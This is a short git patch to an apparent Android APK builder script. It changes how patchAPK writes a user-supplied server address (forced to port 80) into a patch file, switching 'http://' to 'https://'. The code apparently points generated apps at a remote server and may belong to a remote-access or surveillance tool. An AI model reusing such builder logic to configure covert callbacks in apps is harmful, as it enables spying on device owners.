From 4068c762c458064e6b0c4a94a3ef850a67e49524 Mon Sep 17 00:00:00 2001 From: ChrisStone07 Date: Mon, 23 Mar 2020 22:35:28 +0530 Subject: [PATCH] Fixed http bug --- includes/apkBuilder.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/includes/apkBuilder.js b/includes/apkBuilder.js index 2cd8be2..0f0671d 100644 --- a/includes/apkBuilder.js +++ b/includes/apkBuilder.js @@ -24,8 +24,8 @@ function patchAPK(URI, PORT, cb) { // if (PORT < 25565) { fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) { if (err) return cb('File Patch Error - READ') - var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), -"http://" + URI + ":" + "80"); + var result = data.replace(data.substring(data.indexOf("https://"), data.indexOf("?model=")), +"https://" + URI + ":" + "80"); fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) { if (err) return cb('File Patch Error - WRITE') else return cb(false)